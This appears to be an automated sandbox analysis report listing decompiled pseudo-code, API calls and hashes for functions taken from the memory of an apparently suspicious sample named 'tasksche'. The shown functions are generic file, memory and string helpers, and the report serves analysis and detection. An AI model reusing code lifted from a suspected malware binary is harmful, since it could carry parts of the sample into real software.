Opcode ID: 2919600df76e4d66bc5d6f82fae5af35264ca928e1590e53ce8e638c26dbddb5
Instruction ID: 0a298500d8bcfa7ff7c3c7c798daa7998fe1fc2396f24876ea38c2992963b511
Opcode Fuzzy Hash: 2919600df76e4d66bc5d6f82fae5af35264ca928e1590e53ce8e638c26dbddb5
Instruction Fuzzy Hash: 43218131C04219AADF11AF95D8019EFBBBAEF44704F10402FF815B26B1D7791951DB99

Uniqueness

Uniqueness Score: -1.00%

Function 0040E75F Relevance: 3.1, APIs: 2, Instructions: 66
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E0040E75F(void* __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t33;
				void* _t34;
				intOrPtr _t36;
				intOrPtr _t38;
				intOrPtr _t55;
				void* _t57;
				void* _t59;
				intOrPtr _t61;
				void* _t64;

				_t64 = __eflags;
				_t54 = __edx;
				E0041A4DC(E004297B1, _t59);
				_push(__ecx);
				E0041AAF0(0xc0b0);
				_push(_t57);
				_push(_t55);
				 *((intOrPtr*)(_t59 - 0x10)) = _t61;
				 *((intOrPtr*)(_t59 - 4)) = 0;
				E00401822(_t59 - 0xc0c0, __edx, _t55, _t64, 0); // executed
				 *((char*)(_t59 - 4)) = 1;
				E00401A1A(_t59 - 0xc0c0, __edx, _t59, _t64,  *((intOrPtr*)(_t59 + 0xc)));
				 *((intOrPtr*)(_t59 - 0x20)) = 0;
				 *((intOrPtr*)(_t59 - 0x1c)) = 0;
				 *((intOrPtr*)(_t59 - 0x18)) = 0;
				 *((intOrPtr*)(_t59 - 0x14)) = 0;
				 *((char*)(_t59 - 4)) = 2;
				_t33 = E00401768(_t59 - 0xc0c0, _t54, _t59 - 0x20); // executed
				if(_t33 != 0) {
					_t36 =  *((intOrPtr*)(_t59 - 0x1c));
					_t57 = _t36 + _t36;
					_t55 = _t36;
					_t38 = E0041CF3E(0, _t54, _t55, _t57 + 2);
					 *((intOrPtr*)( *((intOrPtr*)(_t59 + 0x10)))) = _t38;
					if(_t38 != 0) {
						__eflags = 0;
						 *((short*)(_t57 + _t38)) = 0;
						E0041C290(0, _t55, _t57, _t38,  *((intOrPtr*)(_t59 - 0x20)), _t57);
					} else {
						_t55 = 0;
					}
					 *((intOrPtr*)( *((intOrPtr*)(_t59 + 0x14)))) = _t55;
				}
				_t67 =  *((intOrPtr*)(_t59 - 0x20));
				if( *((intOrPtr*)(_t59 - 0x20)) != 0) {
					_push( *((intOrPtr*)(_t59 - 0x20)));
					E0041A506(0, _t55, _t57, _t67);
				}
				 *((char*)(_t59 - 4)) = 0;
				_t34 = E00401228(_t59 - 0xc0c0, _t55);
				 *[fs:0x0] =  *((intOrPtr*)(_t59 - 0xc));
				return _t34;
			}

0x0040e75f
0x0040e75f
0x0040e764
0x0040e769
0x0040e76f
0x0040e775
0x0040e776
0x0040e779
0x0040e783
0x0040e786
0x0040e794
0x0040e798
0x0040e79d
0x0040e7a0
0x0040e7a3
0x0040e7a6
0x0040e7b3
0x0040e7b7
0x0040e7be
0x0040e7c0
0x0040e7c3
0x0040e7c6
0x0040e7cc
0x0040e7d5
0x0040e7d9
0x0040e7df
0x0040e7e2
0x0040e7ea
0x0040e7db
0x0040e7db
0x0040e7db
0x0040e7f5
0x0040e7f5
0x0040e7f7
0x0040e7fa
0x0040e7fc
0x0040e7ff
0x0040e804
0x0040e80b
0x0040e80e
0x0040e818
0x0040e821

APIs

__EH_prolog.LIBCMT ref: 0040E764

Part of subcall function 00401822: __EH_prolog.LIBCMT ref: 00401827
Part of subcall function 00401822: _memset.LIBCMT ref: 0040196A
Part of subcall function 00401822: _memset.LIBCMT ref: 00401979
Part of subcall function 00401822: _memset.LIBCMT ref: 00401988

Part of subcall function 00401768: __EH_prolog.LIBCMT ref: 0040176D

_malloc.LIBCMT ref: 0040E7CC

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog_memset$AllocateHeap_malloc
String ID:
API String ID: 47157355-0
Opcode ID: 76dc919e38105a2a0c7a25f94b1f982589f1f165098df706c37864f55c56c04a
Instruction ID: 028989472a53044f7525bc0779393b56fb6d8ddec0b6eee1d5d0b7402cf9aefd
Opcode Fuzzy Hash: 76dc919e38105a2a0c7a25f94b1f982589f1f165098df706c37864f55c56c04a
Instruction Fuzzy Hash: 09217F72800259EFCF15EFA5D8819EEB7B4BF08308F10456FE006B3291E7385A44DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00408BAE Relevance: 3.1, APIs: 2, Instructions: 56
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E00408BAE(void* __ecx, signed int __edx) {
				long _v8;
				long _t10;
				signed int _t13;
				signed int _t26;
				long _t29;
				void* _t32;

				_push(__ecx);
				_t32 = __ecx;
				_t26 = __edx | 0xffffffff;
				if( *((intOrPtr*)(__ecx + 4)) != _t26) {
					L3:
					_v8 = 0;
					_t10 = SetFilePointer( *(_t32 + 4), 0,  &_v8, 1); // executed
					_t29 = _t10;
					if(_t29 != 0xffffffff || GetLastError() == 0) {
						L7:
						asm("cdq");
						_t13 = E0041ABD0(_v8, _t26, 0, 1) + _t29;
						asm("adc edx, ecx");
					} else {
						if( *((intOrPtr*)(_t32 + 0x14)) == 0) {
							_t13 = _t26 | 0xffffffff;
						} else {
							E00406402(0x4335ac, _t32 + 0x1e);
							goto L7;
						}
					}
				} else {
					if( *((intOrPtr*)(__ecx + 0x14)) == 0) {
						_t13 = _t26;
					} else {
						E00406402(0x4335ac, __ecx + 0x1e);
						goto L3;
					}
				}
				return _t13;
			}

0x00408bb1
0x00408bb4
0x00408bb6
0x00408bbe
0x00408bd3
0x00408bde
0x00408be1
0x00408be7
0x00408bec
0x00408c0b
0x00408c10
0x00408c1b
0x00408c1d
0x00408bf8
0x00408bfb
0x00408c2b
0x00408bfd
0x00408c06
0x00000000
0x00408c06
0x00408bfb
0x00408bc0
0x00408bc3
0x00408c24
0x00408bc5
0x00408bce
0x00000000
0x00408bce
0x00408bc3
0x00408c23

APIs

SetFilePointer.KERNELBASE(?,00000000,?,00000001), ref: 00408BE1
GetLastError.KERNEL32(?,?), ref: 00408BEE

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 401041f812e38b2c9cc7bc658f647880eeddc778264b755613b9ad4916800595
Instruction ID: 02e03e75e993c9a8a945b97f90e28c3a97864ede8bf9f3e31abc9cd0b64ad5c5
Opcode Fuzzy Hash: 401041f812e38b2c9cc7bc658f647880eeddc778264b755613b9ad4916800595
Instruction Fuzzy Hash: 540145B2706204BFE7209B788D458AB36ADCB84334B14423FB192E33C1EA749D00527D

Uniqueness

Uniqueness Score: -1.00%

Function 0040C3BF Relevance: 3.0, APIs: 2, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0040C3BF(int _a4) {
				signed int _t3;
				signed int _t4;
				int _t12;
				WCHAR* _t22;

				_t3 =  *0x4355d8; // 0x3
				_t4 = _t3 + 1;
				 *0x4355d8 = _t4;
				if(_t4 >= 8) {
					_t4 = 0;
					 *0x4355d8 = 0;
				}
				_t22 = (_t4 << 0xa) + 0x4335d8;
				 *_t22 = 0;
				if(E0040BB81(0x4335bc) != 0) {
					L4:
					LoadStringW( *0x4335a4, _a4, _t22, 0x200);
				} else {
					_t12 = LoadStringW( *0x4335a8, _a4, _t22, 0x200); // executed
					if(_t12 == 0) {
						goto L4;
					}
				}
				E0040BF1D(0x4335bc, _t22, _t22, 0x200, 0, 0);
				return _t22;
			}

0x0040c3bf
0x0040c3c4
0x0040c3c5
0x0040c3cd
0x0040c3cf
0x0040c3d1
0x0040c3d1
0x0040c3e1
0x0040c3ed
0x0040c402
0x0040c416
0x0040c422
0x0040c404
0x0040c410
0x0040c414
0x00000000
0x00000000
0x0040c414
0x0040c42d
0x0040c438

APIs

LoadStringW.USER32(?,-004335D4,00000200), ref: 0040C410
LoadStringW.USER32(?,-004335D4,00000200), ref: 0040C422

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 72945bf23e6ae9cf9b0fab0a5a9e43b8bd420b2efeca12c7a5d03f8341522d8c
Instruction ID: edfc175873420c56a2918f30daf07abd917a54f8fc7c105ac48efc03a3cacc81
Opcode Fuzzy Hash: 72945bf23e6ae9cf9b0fab0a5a9e43b8bd420b2efeca12c7a5d03f8341522d8c
Instruction Fuzzy Hash: 200186722012107FD6209F19AC85F577BEDEB99351F10543AB900D32A1D6359C01876C

Uniqueness

Uniqueness Score: -1.00%

Function 00408F4B Relevance: 3.0, APIs: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00408F4B(intOrPtr* __ecx, long _a4, long _a8, signed int _a12) {
				long _v8;
				void* __ebp;
				void* _t16;
				long _t20;
				void* _t22;
				void* _t25;
				long _t27;
				intOrPtr* _t30;
				long _t33;

				_t24 = __ecx;
				_push(__ecx);
				_t30 = __ecx;
				if( *((intOrPtr*)(__ecx + 4)) == 0xffffffff) {
					L12:
					_t16 = 1;
				} else {
					_t27 = _a8;
					_t33 = _t27;
					if(_t33 <= 0 && (_t33 < 0 || _a4 < 0) && _a12 != 0) {
						if(_a12 != 1) {
							_t22 = E00408E03(_t24, _t25);
						} else {
							_t22 =  *((intOrPtr*)( *_t30 + 0x10))();
						}
						_a4 = _a4 + _t22;
						asm("adc edi, edx");
						_a12 = _a12 & 0x00000000;
					}
					_v8 = _t27;
					_t20 = SetFilePointer( *(_t30 + 4), _a4,  &_v8, _a12); // executed
					if(_t20 != 0xffffffff || GetLastError() == 0) {
						goto L12;
					} else {
						_t16 = 0;
					}
				}
				return _t16;
			}

0x00408f4b
0x00408f4e
0x00408f50
0x00408f56
0x00408fb8
0x00408fb8
0x00408f58
0x00408f59
0x00408f5c
0x00408f5e
0x00408f72
0x00408f7b
0x00408f74
0x00408f76
0x00408f76
0x00408f80
0x00408f83
0x00408f85
0x00408f85
0x00408f98
0x00408f9e
0x00408fa8
0x00000000
0x00408fb4
0x00408fb4
0x00408fb4
0x00408fa8
0x00408fbc

APIs

SetFilePointer.KERNELBASE(?,?,00000001,00000000,?,?,?,?,00408FD1,00000000,00000000,00000000,?,00407DE2,?,?), ref: 00408F9E
GetLastError.KERNEL32(00408FD1,00000000,00000000,00000000,?,00407DE2,?,?,?,?,?,?,?,?), ref: 00408FAA

Part of subcall function 00408E03: __EH_prolog.LIBCMT ref: 00408E08

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorFileH_prologLastPointer
String ID:
API String ID: 4236474358-0
Opcode ID: fcb39ab4431aa7e293366899b2db99d4a95afe2178fb6d1211a042b2fb6e45d7
Instruction ID: 31f7e80921147255a447777291f97898e209bd40052f61b908ef1a5d0e3b9beb
Opcode Fuzzy Hash: fcb39ab4431aa7e293366899b2db99d4a95afe2178fb6d1211a042b2fb6e45d7
Instruction Fuzzy Hash: 1E019631200306DBCF248F64CD046AE776ABF813A5F14463EF8A1A22D0DB78D951DA55

Uniqueness

Uniqueness Score: -1.00%

Function 0041A89A Relevance: 3.0, APIs: 2, Instructions: 34
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0041A89A(void* __ebx, void* __edx, void* __edi, void* __eflags, signed int _a4, signed int _a8, signed int _a12, intOrPtr _a16, intOrPtr _a20) {
				signed int _v0;
				char _v16;
				intOrPtr _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				void* _t39;
				signed int _t40;
				signed int _t46;
				void* _t51;
				void* _t53;
				intOrPtr* _t56;
				intOrPtr* _t58;
				void* _t62;
				void* _t74;
				void* _t75;
				signed int _t76;
				signed int _t79;

				_t75 = __edi;
				_t74 = __edx;
				_t62 = __ebx;
				while(1) {
					_t39 = E0041CF3E(_t62, _t74, _t75, _a4); // executed
					if(_t39 != 0) {
						break;
					}
					_t40 = E0041FC9B(_a4);
					__eflags = _t40;
					if(_t40 == 0) {
						__eflags =  *0x44f810 & 0x00000001;
						if(( *0x44f810 & 0x00000001) == 0) {
							 *0x44f810 =  *0x44f810 | 0x00000001;
							__eflags =  *0x44f810;
							E0041216A(0x44f804);
							E0041C9CF( *0x44f810, 0x4299d0);
						}
						E004125FA( &_v16, 0x44f804);
						E0041C77F( &_v16, 0x42d504);
						asm("int3");
						_push(_t62);
						__eflags = _v0;
						if(__eflags != 0) {
							_push(0x44f804);
							_t79 = _a4;
							_push(_t75);
							_t76 = _a8;
							__eflags = _t76;
							if(_t76 == 0) {
								L12:
								_v28 = 0x42;
								_v32 = _t79;
								_v40 = _t79;
								__eflags = _t76 - 0x3fffffff;
								if(_t76 <= 0x3fffffff) {
									_v36 = _t76 + _t76;
								} else {
									_v36 = 0x7fffffff;
								}
								_t46 = _v0( &_v40, _a12, _a16, _a20);
								_a12 = _t46;
								__eflags = _t79;
								if(_t79 != 0) {
									__eflags = _t46;
									if(_t46 < 0) {
										L24:
										__eflags = _v36;
										 *((short*)(_t79 + _t76 * 2 - 2)) = 0;
										_t46 = 0 | _v36 >= 0x00000000;
										__eflags = _t46;
									} else {
										_t22 =  &_v36;
										 *_t22 = _v36 - 1;
										__eflags =  *_t22;
										if( *_t22 < 0) {
											_t51 = E0041FE68(_t74, _t76, 0,  &_v40);
											__eflags = _t51 - 0xffffffff;
											if(_t51 == 0xffffffff) {
												goto L24;
											} else {
												goto L20;
											}
										} else {
											 *_v40 = 0;
											_v40 = _v40 + 1;
											L20:
											_t28 =  &_v36;
											 *_t28 = _v36 - 1;
											__eflags =  *_t28;
											if( *_t28 < 0) {
												_t53 = E0041FE68(_t74, _t76, 0,  &_v40);
												__eflags = _t53 - 0xffffffff;
												if(_t53 == 0xffffffff) {
													goto L24;
												} else {
													goto L23;
												}
											} else {
												 *_v40 = 0;
												L23:
												_t46 = _a12;
											}
										}
									}
								}
							} else {
								__eflags = _t79;
								if(__eflags != 0) {
									goto L12;
								} else {
									_t56 = E0041EDAE(__eflags);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									_push(0);
									 *_t56 = 0x16;
									_t46 = E00420103(_t74, _t76, _t79) | 0xffffffff;
								}
							}
						} else {
							_t58 = E0041EDAE(__eflags);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							_push(0);
							 *_t58 = 0x16;
							_t46 = E00420103(_t74, _t75, 0x44f804) | 0xffffffff;
						}
						return _t46;
					} else {
						continue;
					}
					L27:
				}
				return _t39;
				goto L27;
			}

0x0041a89a
0x0041a89a
0x0041a89a
0x0041a8b1
0x0041a8b4
0x0041a8bc
0x00000000
0x00000000
0x0041a8a7
0x0041a8ad
0x0041a8af
0x0041a8c0
0x0041a8cc
0x0041a8ce
0x0041a8ce
0x0041a8d7
0x0041a8e1
0x0041a8e6
0x0041a8eb
0x0041a8f9
0x0041a8fe
0x0041a907
0x0041a90a
0x0041a90d
0x0041a92f
0x0041a930
0x0041a933
0x0041a934
0x0041a937
0x0041a939
0x0041a95f
0x0041a95f
0x0041a966
0x0041a969
0x0041a96c
0x0041a972
0x0041a980
0x0041a974
0x0041a974
0x0041a974
0x0041a990
0x0041a996
0x0041a999
0x0041a99b
0x0041a99d
0x0041a99f
0x0041a9e3
0x0041a9e5
0x0041a9e8
0x0041a9f1
0x0041a9f1
0x0041a9a1
0x0041a9a1
0x0041a9a1
0x0041a9a1
0x0041a9a4
0x0041a9b5
0x0041a9bc
0x0041a9bf
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a9a6
0x0041a9a9
0x0041a9ab
0x0041a9c1
0x0041a9c1
0x0041a9c1
0x0041a9c1
0x0041a9c4
0x0041a9d2
0x0041a9d9
0x0041a9dc
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a9c6
0x0041a9c9
0x0041a9de
0x0041a9de
0x0041a9de
0x0041a9c4
0x0041a9a4
0x0041a99f
0x0041a93b
0x0041a93b
0x0041a93d
0x00000000
0x0041a93f
0x0041a93f
0x0041a944
0x0041a945
0x0041a946
0x0041a947
0x0041a948
0x0041a949
0x0041a957
0x0041a957
0x0041a93d
0x0041a90f
0x0041a90f
0x0041a914
0x0041a915
0x0041a916
0x0041a917
0x0041a918
0x0041a919
0x0041a927
0x0041a927
0x0041a9f6
0x00000000
0x00000000
0x00000000
0x00000000
0x0041a8af
0x0041a8bf
0x00000000

APIs

_malloc.LIBCMT ref: 0041A8B4

Part of subcall function 0041CF3E: __FF_MSGBANNER.LIBCMT ref: 0041CF61
Part of subcall function 0041CF3E: __NMSG_WRITE.LIBCMT ref: 0041CF68
Part of subcall function 0041CF3E: RtlAllocateHeap.NTDLL(00000000,-0000000F,00000001,00000000,00000000,?,004212F4,00000000,00000001,00000000,?,0041EF2D,00000018,0042D930,0000000C,0041EFBE), ref: 0041CFB5

__CxxThrowException@8.LIBCMT ref: 0041A8F9

Part of subcall function 0041216A: std::exception::exception.LIBCMT ref: 00412174

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::exception::exception
String ID:
API String ID: 1264268182-0
Opcode ID: 488aefbad45324ff37e950e4da10f49f42e7f09e4ea378ab16e103540516bcd1
Instruction ID: 42064790ed8d2a037bfba99cbedd4ff18ff19c5b52db1d8e26b3e688ef0b8114
Opcode Fuzzy Hash: 488aefbad45324ff37e950e4da10f49f42e7f09e4ea378ab16e103540516bcd1
Instruction Fuzzy Hash: 64F0E23160021972CB047B22ED46ACE37586F01728B10403BFC1199192DFAC9ADA919E

Uniqueness

Uniqueness Score: -1.00%

Function 004090E4 Relevance: 3.0, APIs: 2, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004090E4(WCHAR* _a4) {
				short _v4100;
				int _t11;
				signed int _t17;
				signed int _t18;

				E0041AAF0(0x1000);
				_t11 = DeleteFileW(_a4); // executed
				_t18 = _t17 & 0xffffff00 | _t11 != 0x00000000;
				if(_t18 == 0 && E0040A3DC(_a4,  &_v4100, 0x800) != 0) {
					_t18 = _t18 & 0xffffff00 | DeleteFileW( &_v4100) != 0x00000000;
				}
				return _t18;
			}

0x004090ec
0x004090fc
0x00409100
0x00409105
0x0040912a
0x0040912a
0x00409132

APIs

DeleteFileW.KERNELBASE(?,?,-00000011,?,0040877F,?,?,00000001,?,?,?,?,?,?,00000000,?), ref: 004090FC
DeleteFileW.KERNEL32(?,?,?,00000800,?,0040877F,?,?,00000001,?,?,?,?,?,?,00000000), ref: 00409126

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 0a42f7c6465a65df2585c125a2f12a68c0d7bb240ddda169d7c29578124ac562
Instruction ID: c332a15ca0b0e5e82477794df9822c7aeed54c7470201c7e9f38434531037f1b
Opcode Fuzzy Hash: 0a42f7c6465a65df2585c125a2f12a68c0d7bb240ddda169d7c29578124ac562
Instruction Fuzzy Hash: DBE02B3114122AA7EB00A620DC01FDA3B5C9F043C0F0440737C80E71D1DB75DCE0D9A4

Uniqueness

Uniqueness Score: -1.00%

Function 00409041 Relevance: 3.0, APIs: 2, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409041(WCHAR* _a4) {
				short _v4100;
				long _t7;
				long _t12;
				long _t13;

				E0041AAF0(0x1000);
				_t7 = GetFileAttributesW(_a4); // executed
				_t13 = _t7;
				if(_t13 == 0xffffffff && E0040A3DC(_a4,  &_v4100, 0x800) != 0) {
					_t12 = GetFileAttributesW( &_v4100); // executed
					_t13 = _t12;
				}
				return _t13;
			}

0x00409049
0x00409059
0x0040905b
0x00409060
0x00409081
0x00409083
0x00409083
0x0040908a

APIs

GetFileAttributesW.KERNELBASE(?,?,?,?,004092AE,?,00406796,?,?,?,?), ref: 00409059
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,?,?,004092AE,?,00406796,?,?,?,?), ref: 00409081

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: b25c0f1027ae8764d85bcc1b21548e8f0eb716d18d4362393a4ff3fac8f95358
Instruction ID: f0aa2148c7acefeba2e85b7bc3a11c2245577506fd5686bf0be3bfe97b3e7ecd
Opcode Fuzzy Hash: b25c0f1027ae8764d85bcc1b21548e8f0eb716d18d4362393a4ff3fac8f95358
Instruction Fuzzy Hash: BBE092326101186ACB10A669DC00BDE379D9BC83E5F0401B3BE44E32D5DAB4DD95CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040DDFF Relevance: 3.0, APIs: 2, Instructions: 28COMMON

Download Yara Rule

APIs

_swprintf.LIBCMT ref: 0040DE2D
SetDlgItemTextW.USER32 ref: 0040DE44

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ItemText_swprintf
String ID:
API String ID: 3011073432-0
Opcode ID: 8034b9b9aa660211ead63cdf03b6a57d34fff27c13a9ae0071d7a28958d0b1e9
Instruction ID: 335ddef7e6713e4d0d4f603cdcadd61df7388e1f4a4116fbf7552c9c9eb2c210
Opcode Fuzzy Hash: 8034b9b9aa660211ead63cdf03b6a57d34fff27c13a9ae0071d7a28958d0b1e9
Instruction Fuzzy Hash: 02F0EC75A0420866E711B7A1CC07F9B36589B09789F04047FB601760F3D9795564479A

Uniqueness

Uniqueness Score: -1.00%

Function 00410EDB Relevance: 3.0, APIs: 2, Instructions: 27
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00410EDB(void* __ecx) {
				long _v8;
				long _v12;
				int _t8;
				void* _t11;
				signed int _t14;

				_t8 = GetProcessAffinityMask(GetCurrentProcess(),  &_v8,  &_v12); // executed
				if(_t8 == 0) {
					L6:
					return 1;
				}
				_t11 = 0;
				_t14 = 1;
				do {
					if((_v8 & _t14) != 0) {
						_t11 = _t11 + 1;
					}
					_t14 = _t14 + _t14;
				} while (_t14 != 0);
				if(_t11 < 1) {
					goto L6;
				}
				return _t11;
			}

0x00410eef
0x00410ef7
0x00410f0d
0x00000000
0x00410f0f
0x00410efb
0x00410efd
0x00410efe
0x00410f01
0x00410f03
0x00410f03
0x00410f04
0x00410f04
0x00410f0b
0x00000000
0x00000000
0x00410f11

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,00410F17,00409FF4), ref: 00410EE8
GetProcessAffinityMask.KERNEL32 ref: 00410EEF

Memory Dump Source

Source File: 00000009.00000002.978156460.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.978137446.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978274879.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978289445.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978317654.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978356723.000000000044F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.978372059.0000000000452000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

